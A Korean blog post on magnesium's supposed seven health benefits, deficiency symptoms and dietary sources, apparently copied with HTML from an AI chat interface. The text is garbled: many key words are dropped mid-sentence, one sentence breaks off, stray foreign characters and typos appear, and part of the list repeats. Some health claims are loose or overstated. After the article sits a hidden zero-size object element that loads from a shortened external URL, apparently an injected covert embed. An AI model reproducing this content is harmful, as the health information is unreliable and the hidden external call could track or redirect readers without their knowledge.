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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:43">마그네슘, 우리 몸에 미치는 7가지 놀라운 와 부족하면 나타나는 </h2><p data-sourcepos="3:1-3:105">마그네슘은 우리 몸에 없어서는 안 될 필수 미네랄입니다. 300여 가지 이상의 생체 반응에 관여하며, 특히 에너지 생성, 근육 기능, 신경 전달, 면역 체계 등에서 중요한 역할을 합니다.</p><p data-sourcepos="5:1-5:78">충분한 마그네슘 섭취는 건강을 유지하고 을 예방하는 데 필수적입니다. 반면에 마그네슘이 부족하면 다양한 건강 문제가 발생할 수 있습니다.</p><p data-sourcepos="7:1-7:76">이 글에서는 마그네슘의 놀라운 7가지와 부족하면 나타나는 , 그리고 마그네슘을 충분히 섭취하는 방법 등을 자세히 알아보겠습니다.</p><p data-sourcepos="9:1-9:13"><strong>1. 에너지 생성</strong></p><p data-sourcepos="11:1-11:129">마그네슘은 ATP(아데노신 삼인산) 생성에 필수적인 미네랄입니다. ATP는 세포의 에너지원으로, 우리 몸이 모든 활동을 하는 데 필요한 에너지를 제공합니다. 마그네슘이 부족하면 피로, 무기력, 탈진 등의 이 나타날 수 있습니다.</p><p data-sourcepos="13:1-13:12"><strong>2. 근육 기능</strong></p><p data-sourcepos="15:1-15:103">마그네슘은 근육 수축과 이완에 중요한 역할을 합니다. 또한, 신경과 근육 사이의 신호 전달에도 관여합니다. 마그네슘이 부족하면 근육 경련, 떨림, 약화 등의 이 나타날 수 있습니다.</p><p data-sourcepos="17:1-17:12"><strong>3. 신경 전달</strong></p><p data-sourcepos="19:1-19:128">마그네슘은 신경 전달 물질인 글루타메이트의 기능에 필수적입니다. 글루타메이트는 기억, 학습, 감정 조절 등에 중요한 역할을 합니다. 마그네슘이 부족하면 인지 기능 저하, 기분 변화, 불안, 우울증 등의 이 나타날 수 있습니다.</p><p data-sourcepos="21:1-21:12"><strong>4. 면역 체계</strong></p><p data-sourcepos="23:1-23:117">마그네슘은 면역 체계의 기능을 유지하는 데 중요한 역할을 합니다. 마그네슘은 백혈구의 활동을 촉진하고, 염증 반응을 조절하며, 바이러스와 세균에 대한抵抗력을 높입니다. 마그네슘이 부족하면 감염에 걸리기 쉽고,</p><p data-sourcepos="25:1-25:12"><strong>5. 혈압 조절</strong></p><p data-sourcepos="27:1-27:124">마그네슘은 혈관을 이완시키고 혈압을 낮추는 데 도움을 줍니다. 또한, 혈관 내 칼슘 축적을 방지하여 혈전 형성을 예방하는 데도 적입니다. 마그네슘이 부족하면 고혈압, 심장 , 뇌졸중 등의 위험이 높아질 수 있습니다.</p><p data-sourcepos="29:1-29:11"><strong>6. 뼈 건강</strong></p><p data-sourcepos="31:1-31:107">마그네슘은 뼈 형성과 유지에 중요한 역할을 합니다. 또한, 칼슘의 흡수를 촉진하고, 뼈 손실을 예방하는 데도 적입니다. 마그네슘이 부족하면 골다공증, 골절 등의 위험이 높아질 수 있습니다.</p><p data-sourcepos="33:1-33:13"><strong>7. 당뇨병 예방</strong></p><p data-sourcepos="35:1-35:112">마그네슘은 인슐린의 민감도를 높여 혈당 조절에 도움을 줍니다. 또한, 만성 염증을 감소시키고, 혈관 건강을 개선하는 데도 적입니다. 마그네슘이 부족하면 2형 당뇨병 발병 위험이 높아질 수 있습니다.</p><p data-sourcepos="37:1-37:14"><strong>마그네슘 부족 </strong></p><ul data-sourcepos="39:1-59:0">
<li data-sourcepos="39:1-39:4">피로</li>
<li data-sourcepos="40:1-40:5">무기력</li>
<li data-sourcepos="41:1-41:7">근육 경련</li>
<li data-sourcepos="42:1-42:4">떨림</li>
<li data-sourcepos="43:1-43:4">약화</li>
<li data-sourcepos="44:1-44:10">인지 기능 저하</li>
<li data-sourcepos="45:1-45:7">기분 변화</li>
<li data-sourcepos="46:1-46:4">불안</li>
<li data-sourcepos="47:1-47:5">우울증</li>
<li data-sourcepos="48:1-48:5">불면증</li>
<li data-sourcepos="49:1-49:7">식욕 부진</li>
<li data-sourcepos="50:1-50:4">구토</li>
<li data-sourcepos="51:1-51:4">설사</li>
<li data-sourcepos="52:1-52:4">두통</li>
<li data-sourcepos="53:1-53:10">심장 박동 이상</li>
<li data-sourcepos="54:1-54:6">근골격통</li>
<li data-sourcepos="55:1-55:5">아서염</li>
<li data-sourcepos="56:1-56:4">천식</li>
<li data-sourcepos="57:1-57:4">빈혈</li>
<li data-sourcepos="58:1-59:0">면역력 저하</li>
</ul><p data-sourcepos="60:1-60:21"><strong>마그네슘을 충분히 섭취하는 방법</strong></p><ul data-sourcepos="62:1-62:45">
<li data-sourcepos="62:1-62:45">마그네슘이 풍부한 식품 섭취: 견과류, 씨앗, 녹색잎채소, 통곡물, 콩, 두부</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="58:1-59:0">면역력 저하</li>
</ul><p data-sourcepos="60:1-60:21"><strong>마그네슘을 충분히 섭취하는 방법</strong></p><ul data-sourcepos="62:1-62:45">
<li data-sourcepos="62:1-62:45">마그네슘이 풍부한 식품 섭취: 견과류, 씨앗, 녹색잎채소, 통곡물, 콩, 두부</li>
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